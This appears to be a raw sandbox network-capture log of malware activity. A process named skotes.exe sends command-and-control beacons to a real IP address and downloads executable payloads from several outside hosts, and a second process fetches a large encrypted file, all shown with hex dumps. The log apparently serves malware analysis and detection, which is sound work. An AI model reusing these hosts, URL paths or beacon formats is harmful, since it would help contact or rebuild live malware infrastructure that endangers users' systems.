Dec 19, 2024 08:09:25.203517914 CET	2472	OUT	Data Raw: 58 2b 30 78 2b 48 6a 48 34 57 6e 5c 2f 77 42 34 31 54 54 5c 2f 41 4d 45 42 66 32 4f 65 33 78 4a 5c 2f 61 59 5c 2f 48 78 6a 38 4c 66 5c 2f 6e 4e 56 35 46 62 36 56 50 30 66 36 2b 55 56 4d 68 6d 73 35 6a 6c 46 57 68 4c 44 50 42 55 65 48 4b 31 47 6a Data Ascii: X+0x+HjH4Wn\/wB41TT\/AMEBf2Oe3xJ\/aY\/Hxj8Lf\/nNV5Fb6VP0f6+UVMhms5jlFWhLDPBUeHK1GjTpyfOpUfZVYSo1qdX9\/SxFJxr0sTGOIp1I1oxqH7nR+ir9IGhm9LPoyyaWbU68cSsdW4jo1606kYqNq3taU1WozpfuKlCqp0KuHcsPUhKhJwf5lf8ABJ\/49eLbb9qD4H\/snw68vjD4S6P8bfiX8W\/AOtXIuLe
Dec 19, 2024 08:09:25.203597069 CET	2472	OUT	Data Raw: 4c 71 2b 46 35 5a 59 66 37 47 47 75 79 66 74 51 66 74 32 66 74 4c 66 74 6f 2b 47 6f 5a 5c 2f 77 44 68 53 2b 67 2b 43 64 45 5c 2f 5a 63 2b 45 48 69 47 61 33 6b 74 6f 66 48 39 72 6f 2b 76 36 52 34 72 38 5a 2b 49 39 4f 53 57 4f 4b 61 66 54 49 4e 66 Data Ascii: Lq+F5ZYf7GGuyftQft2ftLfto+GoZ\/wDhS+g+CdE\/Zc+EHiGa3ktofH9ro+v6R4r8Z+I9OSWOKafTINf0eCfT7yeKJpNP8QWVmQL2w1O1srl\/\/wAE1\/i18W5rTSv2tP27\/jL8efhzbXFvcXfwz8MeFdI+CnhvxGLWYXMdn4sTw54g18a1ZNMo3MtvZapBH\/yDtU0+4WK5i\/UPwD4I8I\/Dbwz4a8CeA\/D2l+FPB\/h
Dec 19, 2024 08:09:25.203624010 CET	2472	OUT	Data Raw: 36 6d 41 5c 2f 64 77 70 73 75 50 2b 32 66 37 2b 33 5c 2f 50 5c 2f 41 44 30 70 6e 39 39 5c 2f 33 69 64 5c 2f 4d 5c 2f 38 41 62 58 5c 2f 50 48 53 67 36 43 48 79 5c 2f 4d 56 5c 2f 4a 54 35 38 2b 61 50 33 58 31 35 48 2b 66 77 7a 52 48 48 39 7a 35 34 Data Ascii: 6mA\/dwpsuP+2f7+3\/P\/AD0pn99\/3id\/M\/8AbX\/PHSg6CHy\/MV\/JT58+aP3X15H+fwzRHH9z54x5n\/LPyv8AyV6\/5\/GiSGFljfZnr\/n\/AD+vc8uRY03pJMn+t98+vX0\/ye+fs\/P8P+CXzvy\/r5kMjOxd3fYP9X\/qrbP+f0\/qzbu3u6eS8n+fp3xz\/SnpGNr\/ALmPZj+P6cWv\/X93pkmfMf8A9p\/uI
Dec 19, 2024 08:09:25.323007107 CET	2472	OUT	Data Raw: 5a 4c 32 51 52 7a 59 64 43 67 66 37 52 50 42 66 74 48 35 65 63 72 46 61 72 61 77 67 44 61 59 79 4e 75 33 77 7a 78 52 38 57 66 47 48 69 31 35 56 76 39 54 75 49 72 47 51 74 6a 54 34 35 6d 67 74 41 70 36 4b 38 4d 41 68 67 6d 49 42 32 69 53 53 48 66 Data Ascii: ZL2QRzYdCgf7RPBftH5ecrFarawgDaYyNu3wzxR8WfGHi15Vv9TuIrGQtjT45mgtAp6K8MAhgmIB2iSSHfjOWyzbvJtA1LSfFPjL4f+A9E8Q+F28Q\/Ev4g+C\/hp4aF\/rkUGnjxH471+x8N6I2ozafBqt9DYLqOoQNeS2emX91HbiR7ezuZQkD8roPxA8M69FdtBrGjLLZ6xqmhyxpqtu6y3ukXTWl0bXz1tbiWEyoTEz2sMh
Dec 19, 2024 08:09:25.323132038 CET	4944	OUT	Data Raw: 77 72 34 56 5c 2f 34 61 4b 68 38 61 36 78 34 38 30 48 53 5c 2f 41 75 76 2b 4c 66 44 46 74 62 65 4e 76 32 62 5c 2f 42 50 68 57 33 75 76 43 50 68 76 34 68 2b 48 64 66 31 62 55 64 53 38 58 32 47 67 33 31 6e 4a 63 32 6e 68 6a 56 5c 2f 45 47 73 77 70 Data Ascii: wr4V\/4aKh8a6x480HS\/Auv+LfDFtbeNv2b\/BPhW3uvCPhv4h+Hdf1bUdS8X2Gg31nJc2nhjV\/EGswppkvox8WfDuWJwmDjxPg5YrG4vD4GjQjh8fKrHGYvMsVk+Hw+JgsI3gqtXNMFi8BGON+r2xOHrU5WlCVvHn4H+KtPDY3GVODsfDCZfgcXmdfETxWWRozwGBynCZ9i8XgqjxyjmVGhk2OweZTllzxVsJiKVZXjIzqa\
Dec 19, 2024 08:09:28.787986040 CET	183	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Thu, 19 Dec 2024 07:09:28 GMT Content-Type: text/html; charset=utf-8 Content-Length: 26 Connection: close Data Raw: 5a 32 4a 5a 78 37 32 67 33 38 46 62 78 30 41 38 31 37 33 34 35 39 32 31 36 37 Data Ascii: Z2JZx72g38Fbx0A81734592167

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.6	49854	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:09:27.126450062 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 34 32 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017423001&unit=246122658369
Dec 19, 2024 08:09:28.447547913 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:09:28 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.6	49858	31.41.244.11	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:09:28.569168091 CET	61	OUT	GET /files/london/random.exe HTTP/1.1 Host: 31.41.244.11
Dec 19, 2024 08:09:29.893445969 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:09:29 GMT Content-Type: application/octet-stream Content-Length: 1885696 Last-Modified: Wed, 18 Dec 2024 18:20:46 GMT Connection: keep-alive ETag: "6763127e-1cc600" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 ae 00 00 00 00 00 00 00 80 4a 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 b0 4a 00 00 04 00 00 25 2d 1d 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 f0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_gJ@J%-@T0h 1 H@.rsrc X@.idata 0Z@ *@\@uzxdwyviP 0B^@efzdldigpJ@.taggant0J"@
Dec 19, 2024 08:09:29.893459082 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:09:29.893470049 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:09:29.893583059 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:09:29.893763065 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:09:29.893774986 CET	672	IN	Data Raw: 82 d1 3c 6b f2 a9 3f 64 c4 7d 12 98 22 98 9d a8 1d f9 f0 7a 81 69 65 64 d7 32 b9 b9 68 17 b7 57 43 24 e5 c0 ca 5c 96 de 59 58 1c f0 8e 4d cb c6 81 3b 48 a1 45 bf d5 e0 0e 27 90 8d ce a0 74 9c a4 33 aa 50 44 ef 33 33 c4 66 c7 dc ff f1 b3 aa a6 c7 Data Ascii: <k?d}"zied2hWC$\YXM;HE't3PD33fHM"RP_W&"!E^;vV&/y6{`}O.s?@&28d=j@yd-tm>7r9MM\| tt&1v^!f.&b@kM?[@R
Dec 19, 2024 08:09:29.893827915 CET	1236	IN	Data Raw: a9 6e bf c6 57 cd fd 16 18 29 60 71 e6 87 fe ae 0a 31 f6 7d bc 5a 34 58 b1 d5 e9 11 4b 53 d2 95 01 f1 14 ad 65 79 e2 bc c4 4e ba f6 41 41 c3 dc 33 cd cd 28 81 2d fc ba c5 e5 5e 94 3e 4d ed 7b 9d 42 c2 40 3c 69 e9 b9 91 78 94 ca 8a 45 01 8a 02 d9 Data Ascii: nW)`q1}Z4XKSeyNAA3(-^>M{B@<ixEq9{X64mk%aa-r(Ml':-.AC5`2B[VAd!^iynugK6`tst~\|G61Y5&:`c_}Kz{;\
Dec 19, 2024 08:09:29.893838882 CET	1236	IN	Data Raw: 4f 19 68 44 7e 28 a0 ee 57 21 15 65 5c 65 42 40 68 e8 83 b3 12 68 f5 10 f8 ea 58 71 80 76 79 7c 34 49 b2 f8 50 5e e0 72 38 3a 7d 45 49 9e fe 43 c6 54 9d fb db d1 e5 e1 9c ce f7 da 5e 43 e6 6b ca 0d 58 80 fe eb c8 43 4d 32 41 d1 57 08 ec 89 41 4e Data Ascii: OhD~(W!e\eB@hhXqvy\|4IP^r8:}EICT^CkXCM2AWAN voqpgx8u<~LS>pw_ &wD?ve?JUl^1c'"[w8+QU,CS;TYu=}e6`yaIu>Xyu1?Ft
Dec 19, 2024 08:09:29.893851995 CET	1236	IN	Data Raw: 04 d7 74 18 f1 0a 3e 0a 18 15 ea c2 dd 5c f9 c3 01 4d 06 9a fd 3e be 0b 87 a5 7a e1 d9 0e ee c5 c0 cf 91 c8 fb 2e 22 59 f2 18 91 00 37 7b d0 5e a8 f4 b0 ff e8 7b 39 d3 dc b7 0c 99 b9 ce e1 ee 3d c6 f9 94 fc 14 9f d6 14 0b 4b 4f 15 01 78 5b d1 d1 Data Ascii: t>\M>z."Y7{^{9=KOx[X{QIsyIj<g3MN:Dle@ay}&y.=ht}e@\|MseCfC#ryD)D~bY/s0:yA@0[ODs+^
Dec 19, 2024 08:09:29.893862963 CET	1236	IN	Data Raw: 7f 85 e1 4b b6 a1 f6 11 7a 63 5f a3 6d f8 71 c9 e8 81 ae 59 99 11 f4 8d 0b 05 e4 de 66 7e 37 a5 b6 1e cd 88 1d e0 7e aa 3e 48 6e 8f 45 17 1f 80 63 f0 fa 89 69 b9 7d e9 2b f5 e7 c4 bc a5 86 47 c4 0d 4c 51 bb 6d 6d 97 0e 23 37 b7 21 52 78 28 07 53 Data Ascii: Kzc_mqYf~7~>HnEci}+GLQmm#7!Rx(S&(-^/C8xXfPq7vK{J{lV\-AmA9a3E~UM6n-uJ&8:E-OJ>&=dAWiObAXO6{0y}g&\|L}\h[yF4.,Ut
Dec 19, 2024 08:09:30.013094902 CET	1236	IN	Data Raw: bf 2d ba 41 f7 1f b5 2f 6c fb 3b 02 bb 67 17 1b 8c 47 30 99 fe a6 4b b5 7e f7 45 6e 6e 78 83 47 0f 15 b6 90 75 d8 a4 cd c4 a3 b1 c9 88 88 67 93 b9 dc b3 8f 8c 47 fe fe da ff f9 8d a4 3e b2 66 6b 64 4b e9 99 2d a3 4c 7f 2c 66 1d ea 5e 52 af b7 55 Data Ascii: -A/l;gG0K~EnnxGugG>fkdK-L,f^RUBQRj*?L)a=-FVqN{r[jGmb0\|u1aB/~~HgbN7[luAhbO7L$]5&;;C%aqCM

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.6	49862	194.87.47.113	80	5984	C:\Users\user\AppData\Local\Temp\1017422001\5d7a2e45de.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:09:29.422750950 CET	126	OUT	GET /WEIsmPfDcpBFJozngnYN1734366322?argument=Z2JZx72g38Fbx0A81734592167 HTTP/1.1 Host: home.twentytk20pn.top Accept: /
Dec 19, 2024 08:09:30.959558964 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Thu, 19 Dec 2024 07:09:30 GMT Content-Type: application/octet-stream Content-Length: 10816560 Connection: close Content-Disposition: attachment; filename="wmhxbWrMmpOSXnEQUlz;" Last-Modified: Mon, 16 Dec 2024 16:25:22 GMT Cache-Control: no-cache ETag: "1734366322.858812-10816560-3400407440" Data Raw: d5 59 3c ac 4f c5 f6 d3 51 7e 47 47 26 fc 67 8e 84 c9 d0 b9 c8 1a b5 f2 9f 36 58 4e 2a 47 78 b3 71 d6 90 99 2c 75 71 ee 05 07 6f e4 46 9c 81 25 65 1e b9 5c 4c cd 26 06 a2 8a 7f f2 65 9e 16 dd 0a 62 a6 54 b4 af c9 89 f9 fa 9d 0d e0 ee 45 13 e3 62 b4 7a 27 ea 09 83 39 68 2b 57 d4 60 b5 5e e3 8d 8a ca f3 0f 65 59 61 a9 31 84 ec 75 18 9f 24 5a b0 43 dc a9 88 a2 32 72 8c 21 0b 74 3a 35 c1 bb ab 53 27 66 6a 20 e9 40 bb 35 77 dc 6b 55 70 51 7b b4 f9 80 55 0a bb 5b 04 23 b9 54 94 13 ce 2c 0f 64 c3 37 11 71 7d c1 39 1d bd 7e 1d a8 c2 76 08 b7 bb e4 83 f9 ca ca 3f d4 dc a1 68 0b fd 09 4e df f0 a3 4b ae ec 74 e9 a6 d0 f3 8f 73 8f bf ae 9d b3 e6 e5 e8 01 1a e2 90 67 05 cf 14 df 94 91 9a ac 00 db 92 f7 18 9e cd ca 55 e2 d5 d7 f2 87 f7 fa 3e f6 0f 54 99 fb 85 6f 27 8f 0b 94 d4 df 07 de d7 fd d7 24 7d 3b e8 61 d3 13 51 b5 02 12 b2 41 76 6e ac e5 f8 d0 76 a2 58 a0 af b0 ed e4 17 7d e1 24 1c 2f d5 3b 76 8d 8f 0c ad 07 bf 79 f7 c3 7c ae 13 ae 2d b2 54 c1 39 70 46 45 22 5c aa 6d 59 19 8b e5 22 88 83 18 44 c0 92 bf b1 [TRUNCATED] Data Ascii: Y<OQ~GG&g6XNGxq,uqoF%e\L&ebTEbz'9h+W`^eYa1u$ZC2r!t:5S'fj @5wkUpQ{U[#T,d7q}9~v?hNKtsgU>To'$};aQAvnvX}$/;vy\|-T9pFE"\mY"D7kamD}?@ZY m>]De!cYJ<vG}%o$QWP8.jxx%_xHVFC:\Y<,8/w"QQt4ep\6OC)['[VFdN_btA9AF]"e$9&-;( NGU1ht)#i$00_W~W<"]::Uxw[\|yJ~n7isY2_(q8""~@/t1@"n6]rtYukb.]PxC3l&f-KMU;5^>>?eRL?#14rYlG(~ {9Ps!jRn@f^KI/DSLKs4`dX/
Dec 19, 2024 08:09:30.959651947 CET	224	IN	Data Raw: a0 9f b7 ec 69 1f 77 c1 b8 9d b5 6f ff 5c e2 49 9b 40 24 f4 94 2e 6b 10 0a 2a 7d 78 3d a2 5d 2e 64 71 a5 1c fe 68 57 df 5f 96 f6 4c 28 9f 74 29 e4 0e 1d 56 23 c2 6c 8a c0 b4 eb 62 28 4c ee 7b 5a c4 2f e5 ef 72 84 32 e9 e1 08 27 06 4a 55 a3 38 47 Data Ascii: iwo\I@$.k*}x=].dqhW_L(t)V#lb(L{Z/r2'JU8G~FbVp9(C4.BqN%7aNQ4/2M]ur"sTJj6(kD8ctTBHUE:zm[Y26
Dec 19, 2024 08:09:30.960491896 CET	1236	IN	Data Raw: ad 34 aa 23 bf ad 17 e6 2a 10 97 19 92 72 47 53 4c f0 19 5a 9a 9b 85 e6 db f7 f5 55 73 a5 27 d3 b4 54 e4 77 0d e7 83 22 4e c1 4d f8 e4 af 4c 0b ab 1a 54 ad 8d 16 6f af 43 78 89 39 0b bb 8c 4d ba 09 8b e5 dc 59 48 e6 45 66 4b 7d 51 80 62 76 3c 15 Data Ascii: 4#*rGSLZUs'Tw"NMLToCx9MYHEfK}Qbv<2Ul&j6TmZJododF<J%^n?YBWg>{96fr]:,)&2/u\|!\|^X~qV(TkYqK#sgI
Dec 19, 2024 08:09:30.960515976 CET	1236	IN	Data Raw: 7e a3 a2 b8 69 73 67 3f 48 2f 0d a8 bf 56 dc 8d af d6 b2 61 f7 f8 f3 fd 77 21 5f 29 8c ce 3f 9d 2d 90 92 87 6a 25 12 2a ff 4d 26 76 bd 71 86 ba ea 9c 89 13 01 98 9d 0e f3 98 18 94 4f 48 59 58 fa 41 d0 0a 1a c1 86 e0 75 a0 61 ec 3f c9 d1 c5 a8 35 Data Ascii: ~isg?H/Vaw!_)?-j%*M&vqOHYXAua?59l"\rI)R`]Pgg{_''VmA!!ICT0aWJ%rt,@k4M{F>#rM@d[P816\z
Dec 19, 2024 08:09:30.960527897 CET	448	IN	Data Raw: c9 cc c3 19 7b b0 d2 46 b9 b4 20 24 9a d8 ff 55 df 52 db de 94 9a b9 05 e2 22 53 b1 34 6d 3e af e5 be c2 be a5 d9 d2 98 61 ec 6d 1e 76 a9 d9 8b 95 47 da 2e 24 aa aa 52 b9 f9 e5 43 7b 82 ae 34 e5 4d 68 de 13 fb 1f 8f bc 44 8e 32 b7 b3 5f 61 f6 1b Data Ascii: {F $UR"S4m>amvG.$RC{4MhD2_as4-(Y2GG,xyh[`\|hZ:zs;l=7ZGa\|cxgs.4VjHEO!ppU'c_^tu\&ByAOV<S&vFex8on2T7
Dec 19, 2024 08:09:30.962680101 CET	1236	IN	Data Raw: 97 2d 22 f8 24 23 2a a6 8b d6 bf c3 c0 8d 83 b0 9b bd 5b c7 db e4 3a a3 83 53 b0 b7 65 0e f0 32 c5 a1 5c 45 89 a3 a2 e7 d8 80 c1 a1 41 a8 b5 1a b7 02 f5 56 d3 74 c3 55 f7 ef e5 0f c7 21 38 88 a6 11 15 70 37 94 c8 64 55 97 e9 14 2b 82 73 30 c9 a4 Data Ascii: -"$#*[:Se2\EAVtU!8p7dU+s0ZP>fkE#K2@0-rEz z%:WuvORyu.D0y$%X-20jxF6Y9KL.V8bdU/vP_>
Dec 19, 2024 08:09:30.962721109 CET	1236	IN	Data Raw: c7 2e 72 99 ae 39 a7 3f 8e 79 8c 45 2a b4 37 c7 d2 d2 de 55 80 98 ae e4 c3 d3 46 a9 5a 41 a4 9a e2 7b db 07 92 08 52 16 1c d0 0c 4c 15 fe 17 33 2f 4f ea 60 b7 42 33 15 80 7b a3 be f6 ac 63 4a d8 cd 60 e2 b4 0c 29 79 99 9e 60 ba 1a 85 01 94 c5 7d Data Ascii: .r9?yE*7UFZA{RL3/O`B3{cJ`)y`}>2g_ViZMh%58,'XH%dR'yC"mM?Kau{K4T2.M2=rGT2jl=c=53S-&AH1q\
Dec 19, 2024 08:09:30.962732077 CET	448	IN	Data Raw: af 57 a5 1e 15 3b 3b 2b 87 8b 40 7c e4 43 7a 6c 9e 13 a3 da b8 9a 5d 61 a9 62 09 c0 51 e6 22 3e e1 3a 89 1f 05 32 da 0a d0 18 05 ef f5 2b ab 8b 82 70 02 8a 23 5e 23 7c c4 d0 ef 12 ca 88 d8 40 b1 8c 29 8b ef 99 b0 4f 50 ad 80 df 71 e1 cf 48 3d 5f Data Ascii: W;;+@\|Czl]abQ">:2+p#^#\|@)OPqH=_p@akD{6TFEizG`0jUXSaKO0"sZ~"Z(eO*FzV'0+,\|Y@;QcH8O?0W5P:{,&S75U!`EP5DQ>
Dec 19, 2024 08:09:30.964963913 CET	1236	IN	Data Raw: 79 cf 16 71 bf 4b 76 76 3a 63 98 bd af 65 dd e6 6e ba f3 2d 09 72 60 14 69 4d 51 ac 83 38 61 c5 b6 40 18 f7 82 c5 bb b0 60 4a 61 61 69 4a 9b a4 68 b9 8d 83 ca 28 4e ca 15 75 dd fd ac ed c6 7d 11 1e f4 2e ab 22 90 b0 a6 ab e2 7d 20 dd fb 5e 1f 5e Data Ascii: yqKvv:cen-r`iMQ8a@`JaaiJh(Nu}."} ^^nC\|x&TT^Y^xcbd&g~B#am`%oF*q56Q=e:PaX#^@$'/vk,FMjR}lWLvn&_t)f@:
Dec 19, 2024 08:09:30.965004921 CET	224	IN	Data Raw: df 09 52 0c 8c 14 76 ac cf 96 82 e3 d0 03 fe 64 88 27 97 6b cf 80 c4 47 15 25 9d c4 88 ab f5 e8 2b f0 5f b0 52 54 32 4a 58 39 c8 af 12 3d 34 ad 70 f8 9f 54 63 d7 e0 f6 e3 5d 3f fd 03 26 c9 f2 04 fc 9c 75 d6 6b 7e a4 3f 64 50 85 72 81 a2 4d d6 9f Data Ascii: Rvd'kG%+_RT2JX9=4pTc]?&uk~?dPrM:0IV#ZF;W={&9,.q~%-bsC$yIFFly>{Ss!%wOa8r^I['cBi
Dec 19, 2024 08:09:31.079199076 CET	1236	IN	Data Raw: 10 c5 3e af e7 11 73 fb 93 62 78 34 2d 22 8c 31 02 cf cb ba 64 a5 fa e6 63 d4 5b 63 66 36 a1 b7 0d ae 33 a7 8c ac d2 21 e4 47 7d 22 e6 a9 75 d5 0b ca ff 18 cd b6 ce dc 34 fe 33 0a 70 46 34 d9 67 88 6d 1f a1 2d 45 09 79 d4 99 27 37 bb 8d 8e d3 61 Data Ascii: >sbx4-"1dc[cf63!G}"u43pF4gm-Ey'7apxnkS1*Ob&dTbvMk$;20uX?!%Ft_1Lv/@c~+nNtW:8~]!n>X6k$Yw%ro4&)rL<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.6	49876	185.215.113.43	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:09:35.600792885 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 31 37 34 32 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1017424001&unit=246122658369
Dec 19, 2024 08:09:37.142551899 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:09:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0
Dec 19, 2024 08:09:37.224275112 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:09:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49882	185.215.113.16	80	5388	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Dec 19, 2024 08:09:37.278917074 CET	55	OUT	GET /luma/random.exe HTTP/1.1 Host: 185.215.113.16
Dec 19, 2024 08:09:38.608706951 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 19 Dec 2024 07:09:37 GMT Content-Type: application/octet-stream Content-Length: 1819648 Last-Modified: Thu, 19 Dec 2024 06:20:13 GMT Connection: keep-alive ETag: "6763bb1d-1bc400" Accept-Ranges: bytes Data Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 d1 3c 5f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 00 00 ec 03 00 00 b0 00 00 00 00 00 00 00 20 48 00 00 10 00 00 00 00 00 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 50 48 00 00 04 00 00 48 76 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 54 30 05 00 68 00 00 00 00 20 05 00 b0 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 31 05 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZx@x!L!This program cannot be run in DOS mode.$PEL<_g H@PHHv@T0h 1 H@.rsrc X@.idata 0\@ )@^@zajbtexj@.<`@kwcryctqH@.taggant0 H"@
Dec 19, 2024 08:09:38.608731031 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:09:38.608745098 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:09:38.608874083 CET	372	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Dec 19, 2024 08:09:38.608886957 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
